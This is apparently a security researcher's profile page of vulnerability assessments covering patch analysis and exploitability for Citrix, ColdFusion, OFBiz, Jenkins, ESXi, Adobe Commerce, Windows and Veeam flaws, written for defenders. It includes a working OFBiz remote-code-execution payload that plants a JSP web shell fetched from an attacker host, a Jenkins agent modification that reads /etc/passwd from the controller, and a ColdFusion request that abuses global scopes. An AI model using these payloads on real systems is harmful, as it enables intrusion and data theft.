remmons-r7 (45)
Last Login: November 13, 2024
remmons-r7's Latest (12) Contributions
Technical Analysis
On November 12, 2024, Citrix published an advisory for an unsafe deserialization bug affecting the Citrix Session Recording software from the Citrix Virtual Apps and Desktops product. Citrix Session Recording is software used to record and catalog “session” interactions with Citrix applications and desktop services. On the same day the advisory and patch were published, the researchers that disclosed the vulnerability published a blog post and proof-of-concept exploit for the vulnerability. Their exploit targets a Microsoft Message Queuing (“MSMQ”) deserialization sink, which is exposed via HTTP by the vulnerable Citrix software.
Although the exploit is demonstrated via a web request without authentication in the blog post, Citrix has indicated (via the advisory) that customers are expected to deploy Session Recording behind Citrix NetScaler. As such, they’ve stated that they consider this to be an authenticated bug. The organization that reported the issue stated that this is an unauthenticated vulnerability in the context of Citrix Virtual Apps and Desktops . Both statements appear to be accurate; real-world deployments that are properly implemented (according to Citrix) will enforce a precursory layer of NetScaler authentication, but a standalone Virtual Apps and Desktops deployment can be configured in a way that exposes the vulnerability without authentication.
A key takeaway for defenders is that this vulnerability does not appear to be exploitable without authentication if Citrix NetScaler authentication is enforced to be able to access Virtual Apps and Desktops. Furthermore, Citrix Session Recording is a non-default service that requires extra installation steps. With those details in mind, it’s likely that CVE-2024-8069 is at lower risk of exploitation than one might expect for a critical bug targeting a Citrix product. However, organizations would be wise to patch this one, since the vulnerable service can potentially be configured in a way that doesn’t require authentication to exploit.
Technical Analysis
CVE-2024-41874 is described as a critical unauthenticated remote code execution vulnerability affecting Adobe ColdFusion. The affected versions are ColdFusion 2021 before Update 16 and ColdFusion 2023 before Update 10. In this assessment, we’ll take a look at the patch. This write-up does not contain an RCE PoC, but I believe it does outline how to trigger the bug and demonstrate some of the implications of doing so. As far as I’m aware, there’s no public write-up or exploit yet published by the original researchers, @0xsapra, @MrHritik, and @a0xnirudh. Let’s dive in!
In chf20210016.jar!/coldfusion/filter/FilterUtils.java
, we find a single small change between CF2021 Update 15 and CF2021 Update 16—the string “ARGUMENTCOLLECTION” has been added as a disabled scope for collection.
29c29 < /* 29*/ disabledScopesForArgumentCollection = new ArrayList<String>(Arrays.asList("FILE", "CLIENT", "COOKIE", "CGI", "SERVER", "APPLICATION", "SESSION", "REQUEST", "CFHTTP", "CFFILE", "LOCAL", "THIS", "THISTAG", "THREAD", "VARIABLES")); --- > /* 29*/ disabledScopesForArgumentCollection = new ArrayList<String>(Arrays.asList("ARGUMENTCOLLECTION", "FILE", "CLIENT", "COOKIE", "CGI", "SERVER", "APPLICATION", "SESSION", "REQUEST", "CFHTTP", "CFFILE", "LOCAL", "THIS", "THISTAG", "THREAD", "VARIABLES"));
This disabledScopesForArgumentCollection
security list originates from the patch for CVE-2023-44350, which was a mass assignment vulnerability. The scopes list relates to ColdFusion Components (“CFCs”), which are methods and properties defined in .cfc
files for use by other code. More specifically, CFCs that are defined as “remote” are published as ColdFusion web services, which permits other code on the client and server to invoke and access server-side methods and properties. The previous mass assignment vulnerability, CVE-2023-44350, permitted passing an argumentCollection
containing key-value pairs that clobbered existing sensitive global scopes, such as LOCAL
or APPLICATION
. These sensitive global scopes are heavily used by ColdFusion to store and retrieve sensitive data, such as file paths and global variable information, during a request’s lifecycle. Knowing this context, the ability to overwrite existing values within primary global scopes is a strong capability that can seemingly facilitate remote code execution.
The ARGUMENTCOLLECTION
scope is also a special global scope, and it’s notably absent from the collection list before the patch. This scope is used when remote CFC method calls are invoked, when CFC methods are leveraged in the form of a web service. In this context, the ARGUMENTCOLLECTION
value is sourced from a POST parameter called argumentCollection
. This parameter has been the target of numerous other exploits, such as CVE-2023-44350, CVE-2023-29300, CVE-2023-38203, and CVE-2023-38204. In this case, nested argumentCollection
JSON arrays in the argumentCollection
POST parameter are recursively deserialized and concatenated at certain points in the request’s lifecycle. This permits an attacker to send a nested payload containing multiple argumentCollection
s that bypass the initial disabledScopesForArgumentCollection
checks. Later on, after the checks have been performed, the nested data will be flattened and the attacker data will clobber global scope structs.
We’ll use a custom CFC scope dump method to dump the contents of some sensitive global scopes in the context of our invocation. That test file is below.
$ cat cfusion/wwwroot/CFIDE/custom/scope.cfc <cfcomponent output="true"> <cffunction name="dump" access="remote" returntype="void"> <cfoutput> <h2>ARGUMENTS SCOPE</h2> <cftry> <cfdump var="#ARGUMENTS#"> <cfcatch> <p>ARGUMENTS IS NOT CURRENTLY AVAILABLE</p></cfcatch></cftry> <h2>CFFILE SCOPE</h2> <cftry> <cfdump var="#CFFILE#"> <cfcatch> <p>CFFILE IS NOT CURRENTLY AVAILABLE</p></cfcatch></cftry> <h2>CFFILE.Test SCOPE</h2> <cftry> <cfdump var="#CFFILE.Test#"> <cfcatch> <p>CFFILE.Test IS NOT CURRENTLY AVAILABLE</p></cfcatch></cftry> </cfoutput> </cffunction> </cfcomponent>
We’ll set a breakpoint prior to the argumentCollection
security checks and deserialization, in cfusion.jar!/coldfusion/filter/ComponentFilter.class
, and we’ll perform a request to an unauthenticated remote CFC. The PoC request we’ll send contains a nested argumentCollection
JSON object, which we’ll observe being transformed and used by the application. That unauthenticated remote CFC request is below.
POST /CFIDE/custom/scope.cfc HTTP/1.1 Host: coldfusion:8500 User-Agent: curl/8.6.0 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Length: 468 Connection: keep-alive ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="method" dump ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="returnFormat" json ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="argumentCollection" {"argumentCollection":{"argumentCollection":{"CFFILE":{"test":"value"}}}} ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="cfcName"
After hitting our initial breakpoint, we observe that the GetArgumentCollection
function in the relevant FilterUtils
file is called with the request context object as a parameter.
Map args = FilterUtils.GetArgumentCollection(context);
Within FilterUtils
, we find the previously observed block list and the called function. At [0]
, the argumentCollection
data is extracted as either a URL parameter or a POST body parameter, depending on which is present, and cast to a string. With that string, a new Struct
called argumentCollection
is created ([1]
). Next, a check is performed to determine if a “{” character begins the string ([2]
). If so, the data is deserialized as JSON. If not, the data is deserialized as a WDDX XML packet.
Note that the patch did not introduce any new classes that are not allowed to be deserialized, just a new scope that is not allowed to be collected. At [3]
, if the JSON or XML contains a top-level key on the block list, the server will throw an InvalidArgumentCollectionException
error and terminate the request. Notably, in the pre-patched state, argumentCollection
can contain a top-level key called ARGUMENTCOLLECTION
; after the patch, argumentCollection
cannot contain a top-level key called ARGUMENTCOLLECTION
.
public static final List<String> disabledScopesForArgumentCollection = new ArrayList(Arrays.asList("FILE", "CLIENT", "COOKIE", "CGI", "SERVER", "APPLICATION", "SESSION", "REQUEST", "CFHTTP", "CFFILE", "LOCAL", "THIS", "THISTAG", "THREAD", "VARIABLES")); // [..SNIP..] public static Map GetArgumentCollection(FusionContext context) throws Throwable { ServletRequest request = context.request; String attr = (String)context.pageContext.findAttribute("url.argumentCollection"); // [0] if (attr == null) { attr = (String)context.pageContext.findAttribute("form.argumentCollection"); } Struct argumentCollection; if (attr == null) { argumentCollection = new Struct(); // [1] } else { attr = attr.trim(); if (attr.charAt(0) == '{') { // [2] argumentCollection = (Struct)JSONUtils.deserializeJSON(attr); } else { argumentCollection = (Struct)WDDXDeserialize(attr); } } String cfcName; if (!Boolean.getBoolean("coldfusion.argumentcollection.allowscopes")) { Enumeration keys = argumentCollection.keys(); while(keys.hasMoreElements()) { cfcName = keys.nextElement().toString(); if (disabledScopesForArgumentCollection.contains(cfcName.toUpperCase())) { throw new InvalidArgumentCollectionException(cfcName, disabledScopesForArgumentCollection.toString(), "coldfusion.argumentcollection.allowscopes"); // [3] } } } // [..SNIP..] return argumentCollection; }
Next, cfusion.jar!/coldfusion/filter/ComponentFilter.class
calls into the invoke
function defined in cfusion.jar!/coldfusion/runtime/TemplateProxy.class
([4]
). The method
string argument is the requested CFC remote method, and the args
Map is the existing argumentCollection
.
Object invoke; try { invoke = tp.invoke(method, args, pageContext); // [4] } finally { context.setCfclientCall(oldClientCall); }
This function prepares to invoke the CFC method. We’ll follow the next two invoke
calls ([5]
, [6]
) to see what happens to our arguments.
public Object invoke(String methodName, Map args, PageContext pageContext) throws Throwable { FusionContext ctx = FusionContext.getCurrent(); this.initIfDeserialized(pageContext); UDFMethod method = this.resolveMethod(methodName, false); if (method instanceof ImplicitUDFMethod) { return method.invoke(this, methodName, this.page, args); } else if (method instanceof Closure) { return method.invoke(this, methodName, this.page, args); } else { CfJspPage invokePage = this.setupScopesForInvoke(pageContext, ctx); return this.invoke(method, methodName, (Object[])null, args, invokePage, ctx); // [5] } }
private Object invoke(UDFMethod method, String methodName, Object[] args, Map mapArgs, CfJspPage invokePage, FusionContext ctx) throws Throwable { if (args != null && mapArgs != null) { throw new IllegalArgumentException("either args or mapArgs needs to be null"); } else { DebuggingService debuggingService = ServiceFactory.getDebuggingService(); // [..SNIP..] if (missingMethodName == null) { if (args != null) { invokedObject = this.castReturnType(method.invoke(this, methodName, invokePage, args), method, invokePage.pageContext, ctx); } else { invokedObject = this.castReturnType(method.invoke(this, methodName, invokePage, mapArgs), method, invokePage.pageContext, ctx); // [6] } }
Here, we see our arguments, now called namedArgs
, being used. After some processing and comparisons take place, a new ArgumentCollection
is instantiated at [7]
, with our namedArgs
passed in as the second parameter.
public Object invoke(Object instance, String calledName, Object parent, Map namedArgs) throws Throwable { Object obj = null; RequestMonitorEventProcessor.onFunctionStart(calledName, parent, namedArgs); try { ArgumentCollection args = null; // [..SNIP..] if (args == null) { args = new ArgumentCollection(this.paramNames, namedArgs); // [7] }
We enter chf20210015.jar!/coldfusion/runtime/ArgumentCollection.class
. At [8]
and [9]
, the code iterates through and extracts the first nested argumentCollection
from inside our existing argumentCollection
Map. At [10]
, handleParametrizedArgs
is called with this first nested key-value pair as parameters.
public ArgumentCollection(Object[] keys, Map namedArgs) { Object key; Object key1; if (keys != null) { // [..SNIP..] } Iterator i = namedArgs.entrySet().iterator(); // [8] while(true) { do { if (!i.hasNext()) { Object argsObj = namedArgs.get("argumentCollection"); // [9] if (argsObj != null && argsObj instanceof Map) { Map args = (Map)argsObj; Iterator argIt = args.keySet().iterator(); while(argIt.hasNext()) { key1 = argIt.next(); Object value1 = args.get(key1); key1 = this.normalizeKey(key1); this.handleParametrizedArgs(key1, value1); // [10] } } return; } // [..SNIP..]
In handleParametrizedArgs
, if the instantiated ArgumentCollection
class (“this”) does not already contain the key (“argumentCollection”), the nested key-value pair is put
in the Map
([11]
). One layer of nesting has been flattened.
private void handleParametrizedArgs(Object key, Object value) { if (key instanceof Integer) { int keyIndex = (Integer)key - 1; if (keyIndex < this.entryOrderValues.size() && this.get(this.entryOrderValues.get(keyIndex)) == null) { key = this.entryOrderValues.get(keyIndex); } } if (this.get(key) == null) { // [11] this.put(key, value); } }
We return to the previous invoke
function in UDFMethod.class
. Now, UDFMethod.runFilterChain
is called with the transformed args
variable as a parameter.
obj = this.runFilterChain(instance, parent, args, calledName);
At [12]
, context.args
, which is null
, is stashed in the oldArgs
ArgumentCollection
. Next, context.args
is set to our partially flattened args
variable ([13]
).
private Object runFilterChain(Object instance, Object parent, ArgumentCollection args, String calledName, FusionContext fusionContext) throws Throwable { FusionContext context = FusionContext.getCurrent(); if (context == null) { context = fusionContext; } Object oldInstance = context.instance; CFPage oldParent = context.parent; ArgumentCollection oldArgs = context.args; Object oldReturnValue = context.returnValue; String oldmethodname = context.methodCalledName; context.instance = instance; context.parent = (CFPage)parent; context.args = args; // [13]
A couple of layers of invocations take place, ultimately landing in cfusion.jar!/coldfusion/runtime/UDFMethod.class
. Our second nested ARGUMENTCOLLECTION
layer is flattened at [14]
and [15]
, when the key value is extracted and putAll
is called on args
within our FusionContext
. Finally, the requested CFC remote method is invoked with our context object, which includes our ArgumentCollection
object wherein we control arbitrary global scope structs.
static class ArgumentCollectionFilter extends FusionFilter { // [..SNIP..] public void invoke(FusionContext tc) throws Throwable { Map argumentCollection = (Map)tc.args.get(Key.ARGUMENTCOLLECTION); // [14] if (argumentCollection != null) { tc.args.remove(Key.ARGUMENTCOLLECTION); tc.args.putAll(argumentCollection); // [15] } this.next.invoke(tc); } }
In the browser, we can view our CFC page dump output to verify that the global CFFILE
scope has been clobbered, despite CFFILE
being on the disabledScopesForArgumentCollection
security list filter.
This primitive is apparently enough to establish unauthenticated remote code execution, as indicated by the 9.1 CVSS score of previous mass assignment vulnerabilities affecting global scope, such as CVE-2023-44350. However, I was not able to identify a default configuration technique to weaponize global scope control for RCE via deserialization (or any other means), and I wasn’t able to find anyone else that had published one. If anyone is familiar with a technique to do so, please let me know or create an assessment with the details!
Technical Analysis
Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. CVE-2024-45195 is a third patch bypass for a remote code execution vulnerability; the same vulnerability root cause is also tracked under the following identifiers: CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856. Two of these CVEs are listed in CISA’s KEV catalog.
When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented. This controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map. As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.
Notably, this vulnerability report was a bug collision report, and the following security researchers discovered and reported CVE-2024-45195:
- shin24 from National Cyber Security Vietnam (finder)
- LuanPV from National Cyber Security Vietnam (finder)
- Hasib Vhora, Senior Threat Researcher, SonicWall (finder)
- Xenc from SGLAB of Legendsec at Qi’anxin Group (finder)
- Ryan Emmons, Lead Security Researcher at Rapid7 (finder)
Remote code execution payloads for CVE-2024-45195, targeting a Linux host, are below. This attack vector will clobber an existing JSP file and write a web shell within the web root.
$ cat rceschema.xml <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8"> <record name="rceentry" limit="many"> <field name="jsp" type="String" length="605" position="0"></field> </record> </data-file> </data-files>
$ cat rcereport.csv <%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
After starting an accessible web server in the directory with the above files, perform the following request to the target for RCE:
POST /webtools/control/forgotPassword/viewdatafile HTTP/2 Host: target:8443 User-Agent: curl/7.81.0 Accept: */* Content-Length: 241 Content-Type: application/x-www-form-urlencoded DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
For a full technical analysis of CVE-2024-45195 and the previous OFBiz CVEs, refer to the Rapid7 analysis blog post.
Technical Analysis
CVE-2024-43044 is an arbitrary file read vulnerability in Jenkins Automation Server, and it’s exploitable via Jenkins Remoting. This Remoting component operates as the client running on worker machines, and it’s used by worker agents to connect to the central Jenkins controller and execute assigned distributed workload tasks. Based on the advisory details, a worker agent client can abuse a feature intended to read classes from the Jenkins server to read arbitrary files from the server instead.
The initial advisory for the vulnerability classifies the severity as “Critical” and indicates that no authentication is required for exploitation. However, all other materials published, including the CVSS strings associated with the CVE, state that low privileges are required for exploitation. These materials also show a different severity score of “High”. Based on our analysis, unless the default agent authentication has been manually disabled, the typical vulnerable configuration will require low privileges to exploit.
Vulnerable Instances
Worker agents must exist and their credentials must be compromised for exploitation to occur. Though an out-of-the-box Jenkins instance on an affected version is not vulnerable, setting up worker agents is a very common configuration in enterprise environments. Per the advisory, most versions of Jenkins Remoting 3256.v88a_f6e922152 and earlier include code that can be used for local file disclosure. The advisory states that the vulnerable code is included in Jenkins 2.470 and earlier, as well as Jenkins LTS 2.452.3 and earlier.
A vulnerable v2.470 copy of Jenkins is available here.
Our affected Jenkins instance was configured to be exploitable by performing the following steps:
- Login as an administrator.
- Navigate to
Manage Jenkins
>Nodes
and create a new Agent node. Copy the displayed connection secrets for later reference.
- Navigate to
Manage Jenkins
>Security
and enable a TCP port for inbound agents (either “Random” or “Fixed”).
Exploitation
The advisory states that “calls to Channel#preloadJar result in the retrieval of files from the controller by the agent using ClassLoaderProxy#fetchJar.” To explore this further, we’ll look at that area of the code base for the Remoting library.
Within RemoteClassLoader.java
, ClassLoaderProxy
contains fetchJar
. It takes one parameter of type URL
. Interestingly, this function has an existing FindBugs SSRF warning exception, indicating it had previously been flagged by security static analysis tooling.
@Override @SuppressFBWarnings( value = "URLCONNECTION_SSRF_FD", justification = "This is only used for managing the jar cache as files.") public byte[] fetchJar(URL url) throws IOException { return Util.readFully(url.openStream()); }
In Util.java
, the readFully
function used by fetchJar
reads an InputStream
and returns the resulting ByteArrayOutputStream
.
static byte[] readFully(InputStream in) throws IOException { // TODO perhaps replace by in.readAllBytes() after checking close behavior ByteArrayOutputStream baos = new ByteArrayOutputStream(); copy(in, baos); return baos.toByteArray(); }
We know that a URL
type is being used by fetchJar
, and the URL
type typically supports the file
protocol scheme. Since the intended impact is local file disclosure, we’ll likely need to supply a URL
string like “file:///etc/passwd”.
To better understand the intended calling context for fetchJar
, we can reference prefetch
in RemoteClassLoader.java
. At [0]
, we see proxy
from RemoteClassLoader
used to call fetchJar
with a file path as the parameter.
/*package*/ boolean prefetch(URL jar) throws IOException { synchronized (prefetchedJars) { if (prefetchedJars.contains(jar)) { return false; } String p = jar.getPath().replace('\\', '/'); p = Util.getBaseName(p); File localJar = Util.makeResource(p, proxy.fetchJar(jar)); // [0] addURL(localJar.toURI().toURL()); prefetchedJars.add(jar); return true; } }
As such, we’ll need to mimic this by inserting a malicious call to fetchJar
after an instance of RemoteClassLoader
is created. We’ll also have to do this where an existing proxy
is available to call fetchJar
with. The code that initializes a new RemoteClassLoader
satisfies both criteria.
private RemoteClassLoader(String name, @CheckForNull ClassLoader parent, @NonNull IClassLoader proxy) { super(name, new URL[0], parent); final Channel channel = RemoteInvocationHandler.unwrap(proxy); this.channel = channel == null ? null : channel.ref(); this.underlyingProxy = proxy; if (channel == null || !channel.remoteCapability.supportsPrefetch() || channel.getJarCache() == null) { proxy = new DumbClassLoaderBridge(proxy); } this.proxy = proxy; }
We’ll also need to ensure the authentication flow is complete, since the file will be read from the controller over the authenticated channel. Setting a breakpoint in the RemoteClassLoader
code and connecting an agent results in the breakpoint hitting after the authentication flow is complete. Adding a call to fetchJar
there should trigger the vulnerability.
We can test this by appending the following snippet to the above code.
try { URL targ = new URL("file:///etc/passwd"); byte[] outb = this.proxy.fetchJar(targ); String outs = new String(outb, StandardCharsets.UTF_8); System.out.println(outs); } catch (MalformedURLException e) { System.out.println("Malformed URL except"); } catch (IOException e) { System.out.println("IO except - file may not exist"); }
Next, we can quickly compile an agent.jar
artifact using mvn clean install -Dmaven.test.skip=true -Denforcer.skip=true
. With that in hand, we’ll connect using the Agent connection secret and attempt to leak the /etc/passwd
file from the Jenkins controller host.
$ java -jar target/remoting-999999-SNAPSHOT.jar -url http://192.168.55.129:8080/ -secret 53fa0cdd4d072027a90e98a15b25a95e836444a466c6ad4a38c1fb0c7914bf68 -name agent0 -workDir "/home/jenkins" Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir INFO: Using /home/jenkins/remoting as a remoting work directory Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager setupLogging INFO: Both error and output logs will be printed to /home/jenkins/remoting Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher createEngine INFO: Setting up agent: agent0 Aug 21, 2024 11:23:44 AM hudson.remoting.Engine startEngine INFO: Using Remoting version: 999999-SNAPSHOT (private-08/21/2024 00:23 GMT-test-r7) Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir INFO: Using /home/jenkins/remoting as a remoting work directory Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Locating server among [http://192.168.55.129:8080/] Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping] Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Agent discovery successful Agent address: 192.168.55.129 Agent port: 41863 Identity: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57 Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Handshaking Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Connecting to 192.168.55.129:41863 Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Server reports protocol JNLP4-connect-proxy not supported, skipping Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Trying protocol: JNLP4-connect Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run INFO: Waiting for ProtocolStack to start. Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Remote identity confirmed: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57 Aug 21, 2024 11:23:45 AM hudson.remoting.Launcher$CuiListener status INFO: Connected root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin [..SNIP..]
The arbitrary file read succeeds and /etc/passwd
is returned to the attacker.
Summary
CVE-2024-43044 is a local file disclosure bug, and the vulnerability seems to be authenticated in most scenarios. Based on this analysis, in order to exploit a typical vulnerable server, an attacker would need to acquire a Jenkins agent secret. This secret could be acquired by compromising a Jenkins agent system, a developer computer, or a secrets manager system. With that secret, and with network access to the Jenkins controller server, the attacker can craft an agent client JAR file that will authenticate and read arbitrary files from the server.
With the above in mind, CVE-2024-43044 seems most likely to be exploited for lateral movement, rather than facilitating initial access. However, due to the high-severity context, anyone running an affected version of Jenkins should urgently update their controller server. If updating instances is not immediately feasible, the Jenkins team has provided a lighter workaround patch to fix the vulnerability.
Technical Analysis
CVE-2024-37085, a vulnerability affecting domain-joined VMWare ESXi, was first published on June 25, 2024. It was reported to Broadcom by Microsoft, who published their own blog post on July 29, 2024 that stated it was being exploited in the wild to deploy ransomware. The premise of the vulnerability is that domain-joined ESXi will automatically check for a certain Active Directory group. If the group name exists, all members of that group will be granted admin privileges over the ESXi server. An attacker with the ability to create AD groups or change the name of an existing AD group can set up the group, resulting in all AD group members gaining administrator privileges over the ESXi server. Interestingly, a Broadcom KB entry documents this behavior as a feature.
Differing Messages
The original Broadcom advisory states that exploitation requires “re-creating the configured AD group (‘ESXi Admins’ by default) after it was deleted from AD.” This would indicate a non-standard configuration, since the administrators group would have to be intentionally deleted for ESXi to be vulnerable. However, Microsoft’s blog post on the vulnerability from July indicates the exact opposite.
Microsoft’s post from July 29. 2024 states that “VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named ‘ESX Admins’ to have full administrative access by default. This group is not a built-in group in Active Directory and does not exist by default.” Based on Microsoft’s statement, the vulnerability affects all domain-joined ESXi servers in the default configuration, since the “ESX Admins” group is not created by default.
Furthermore, as shown above, each vendor has stated a different group name targeted for exploitation. Broadcom documentation indicates that ESXi will grant admin access to any users in an Active Directory group called “ESXi Admins” (1, 2), while Microsoft makes no mention of “ESXi Admins” and instead advises to be on the lookout for “ESX Admins”.
Exploitation
To escalate to ESXi administrator privileges, an attacker must be able to create or rename an AD group. Depending on whether you’re referencing Broadcom’s information or Microsoft’s, the attacker will set an AD group name to either “ESXi Admins” or “ESX Admins”. All users in that group will then be elevated to administrator. Microsoft also states that existing administrators will remain elevated, even if an ESXi administrator modifies the name of the management group. According to Microsoft, this persistence vector is mitigated by initiating an ESXi Hypervisor Privileges refresh.
Summary
There’s a lot of mixed messaging here, so hopefully more clarity will arrive soon. As it stands, it’s likely best to assume that AD-joined ESXi is vulnerable out of the box and does not create the group by default. Defenders should also consider both the “ESX Admins” and “ESXi Admins” groups to potentially be valid avenues of exploitation until more information is shared by the vendor. In addition to remediating the vulnerability with the official Broadcom patches, defenders should check whether either of these two groups have been created and initiate an ESXi Privileges Refresh to ensure privileges are up to date.
Technical Analysis
Adobe Commerce, which is based on the Magento PHP suite, is a popular framework for commerce websites. CVE-2024-34102 is a critical unauthenticated XML injection vulnerability, initially reported by Sergey Temnikov, that targets Commerce. Unsafe deserialization of data is performed with tainted JSON string data, which results in an attacker-controlled SimpleXMLElement
class that will resolve external entities.
An attacker with unauthenticated access to Adobe Commerce can send a crafted JSON string containing an XML object that embeds DTDs to read local files, including the env.php
that contains the JWT secret. With this information, an attacker can forge their own privileged session token and authenticate to Adobe Commerce as an administrator. Sergey also reported that the vulnerability can be chained with the recent iconv bug in the glibc for RCE via PHP filters.
A Metasploit gather module for CVE-2024-34102 was contributed to the framework by @heyder. Anyone running Adobe Commerce or Magento that has not updated should do so urgently, since the vulnerability can be exploited without authentication for critical impact. Adobe has provided an official fix for the vulnerability that can be applied over previous emergency hotfixes.
Technical Analysis
Trend Micro reported this vulnerability to Microsoft after observing Void Banshee APT exploitation in the wild; the zero-day attack hinged on the premise that MHTML links would automatically open in the old Internet Explorer engine. Within the old engine context, HTA files will prompt to open by default, facilitating easier code execution. The threat actors were observed appending many spaces to the file name to misrepresent the secondary HTA file as a PDF in the IE pop-up box. Additionally, Check Point researcher Haifei Li is credited for a report that resulted in a “Defense-in-depth” patch for this chain, which is probably related to the HTA file name misrepresentation trick.
The process of exploitation would typically look like this:
- An attacker site is visited or a phishing message is sent to the victim.
- The victim downloads a malicious “.url” file that masquerades as a legitimate document.
- The victim clicks the “.url” payload, opening the embedded “mhtml:” link and launching Internet Explorer.
- The IE engine prompts the user to open the second-stage HTA file.
- The victim clicks “open” on the pseudo-PDF prompt.
- The victim clicks “Allow” on the IE security prompt for the “HTML Application host” execution.
In summary, the intent of this attack chain is to misrepresent and remove some security hurdles for malware execution on Windows. Successful exploitation does still require quite a bit of clicking through prompts by the user. However, this is likely enough to significantly increase execution numbers for the affiliated malware campaign, which was reported to be deploying information stealers.
Technical Analysis
This deserialization vulnerability piqued my interest after I saw it had received a “patch reissue” a couple of weeks after it was initially patched. I was curious whether the secondary patch was necessary or more of a prophylactic measure. Due to time and software limitations, this assessment doesn’t include PoC and is mostly based on static analysis; the primary goal of this is to provide more information about the risk of the vulnerability, as well as to document some information I’ve learned about the suite for researchers.
Software Overview
CVE-2024-29212 targets Veeam Service Provider Console (“VSPC”), which is a rather niche product. From what I’ve learned, it’s exclusively meant for managed service providers that resell Veeam “backups as a service”. Despite not managing the Veeam infrastructure themselves, clients of these service providers still prefer having their own dashboard for backups. In that scenario, the service provider would set up VSPC and its bundled Web UI as an interface for those customers to manage backups and transmit their data to the centralized server.
VSPC itself, which is predominantly written in C# .NET, is fairly complex, with many different services and communication channels. The ecosystem is primarily hosted by the service provider, and agent software continuously runs on the customer’s managed systems. As shown in the diagram linked above, the client agent connects to the Veeam Cloud Gateway intermediary service via TCP port 6180. In turn, the Gateway service communicates this data to the Veeam Service Provider Console Server (“VSPC Server”) over port 9999. VSPC Server also receives TCP data on port 1989 from the dedicated Web UI service back end, and the front-facing Web UI service listens on port 1280.
Exploitation Potential
The public attack surface for this specialized Veeam product appears to be minimal, based on Shodan queries; less than 100 VSPC Web UI servers were observed to be public-facing at the time of research. The vulnerability itself is also noted to be authenticated, which further lessens the likelihood of exploitation. Analysis appears to indicate that an attacker would need to acquire agent credentials from a managed system’s client to target the service provider’s VSPC system with a serialized payload. As a result, and considering the fact that this vulnerability was patched a few months back, CVE-2024-29212 appears to be at lower risk of widespread exploitation.
Patch Analysis
The most obvious security-related changes in the first patch are in a SerializationBinder
class, BinarySerializerVulnerabilityFilter
, within the BindToType
method. This method is called during deserialization, and it sources the resulting object’s type from the data passed to it. The unpatched code is shown below. It includes a security check that throws an exception if the target assembly is a forbidden type AND the assembly name does not contain the string “Veeam”.
public override Type BindToType(string assemblyName, string typeName) { int num = typeName.IndexOf(",", StringComparison.Ordinal); if (num > 0) { typeName = typeName.Substring(0, num); } if (!assemblyName.ContainsIgnoreCase("Veeam") && _forbiddenTypes.Any((string t) => typeName.EndsWith(t, StringComparison.OrdinalIgnoreCase))) { throw new ArgumentException("Deserialization of type " + typeName + " is prohibited."); } return _wrappedBinder?.BindToType(assemblyName, typeName); }
The _forbiddenTypes
list, which was not changed, is as follows:
"AxHost+State", "DelegateSerializationHolder", "DataSet", "PSObject", "ResourceSet", "RolePrincipal", "SessionSecurityToken", "SessionViewStateHistoryItem", TextFormattingRunProperties", "WindowsClaimsIdentity", "WindowsIdentity", "ClaimsIdentity", "DataTable", "ObjRef", "ToolboxItemContainer"
.
The first of the two patches improved BindToType
